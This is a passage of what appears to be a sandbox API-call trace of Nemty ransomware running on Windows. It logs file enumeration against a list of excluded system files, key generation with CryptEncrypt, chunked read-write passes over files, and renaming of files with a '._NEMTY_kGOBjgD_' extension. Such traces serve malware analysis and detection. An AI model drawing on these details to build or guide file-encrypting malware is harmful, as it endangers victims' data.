lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.529] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.535] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.535] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0053.535] CloseHandle (hObject=0xffffffff) returned 0 [0053.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0053.535] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0053.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0053.535] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0053.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0053.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0053.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0053.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0053.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0053.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0053.535] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0053.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0053.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0053.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0053.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0053.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0053.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0053.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94320 | out: hHeap=0x4f90000) returned 1 [0053.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0053.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0053.536] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2=".") returned 1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="..") returned 1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="...") returned 1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="windows") returned -1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="$RECYCLE.BIN") returned 1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="rsa") returned -1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="NTDETECT.COM") returned -1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="ntldr") returned -1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="MSDOS.SYS") returned -1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="IO.SYS") returned -1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="boot.ini") returned -1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="boot.ini") returned -1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="AUTOEXEC.BAT") returned -1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="ntuser.dat") returned -1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="desktop.ini") returned -1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="CONFIG.SYS") returned -1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="RECYCLER") returned -1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="BOOTSECT.BAK") returned -1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="bootmgr") returned -1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="programdata") returned -1 [0053.536] lstrcmpiW (lpString1="4to3Squareframe_VideoInset.png", lpString2="appdata") returned -1 [0053.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_VideoInset.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0053.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_VideoInset.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4to3Squareframe_VideoInset.png", lpUsedDefaultChar=0x0) returned 30 [0053.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0053.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_VideoInset.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0053.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_VideoInset.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4to3Squareframe_VideoInset.png", lpUsedDefaultChar=0x0) returned 30 [0053.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0053.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_VideoInset.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0053.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_VideoInset.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4to3Squareframe_VideoInset.png", lpUsedDefaultChar=0x0) returned 30 [0053.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_VideoInset.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0053.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0053.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_VideoInset.png", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4to3Squareframe_VideoInset.png", lpUsedDefaultChar=0x0) returned 30 [0053.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0053.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0053.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0053.537] Sleep (dwMilliseconds=0x5) [0053.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd3911510, dwHighDateTime=0x1d561e7)) [0053.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd3911510, dwHighDateTime=0x1d561e7)) [0053.553] GetLastError () returned 0x5 [0053.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.553] GetLastError () returned 0x5 [0053.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0053.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0053.553] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0053.553] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0053.553] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0053.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0053.553] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="MXHPnuSLCv/OaNTxfjtLpJ3FtGDsRDM/yHsMBITYmP7jcBvSVgQZkL2NgqVA3Wm+\r\n2a2Ye70xGI+FZ7MgrqhTgtgQa4RR5YTv5r6Vw6U0DoY6NUwh8GS4YNhV3FgaeiZQ\r\nY0uCC9JoUMM1OB0ZNqGncxMZttt0Y4sIiDz4eV+uHW1D94eiAprbkLwZlsCEfv2C\r\nZ9CuA1ti/OrZ9oGcq44GLQ9bmFYEsKDKScIZfmKA/q/J5NQ7dLoe4XfBncd/QNIO\r\ns7dGmlrwNYaTQdE92PH2hkDAF+hYbzixVTu2tel02+4vOq/WYPE9x7pdwehO9cEU\r\n45hADuj5sOnvDHfqTaKuRQ==\r\n", pcchString=0x653ec5c) returned 1 [0053.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0053.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0053.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0053.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0053.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0053.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0053.553] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0053.554] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0053.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0053.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.554] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.564] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.564] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.574] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.574] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.583] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.583] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.593] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.593] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.593] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.602] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.602] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.602] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.611] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.611] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.621] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.621] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.630] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.630] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.639] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.640] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.649] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.649] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.655] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.655] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0053.661] CloseHandle (hObject=0xffffffff) returned 0 [0053.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0053.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0053.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0053.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, 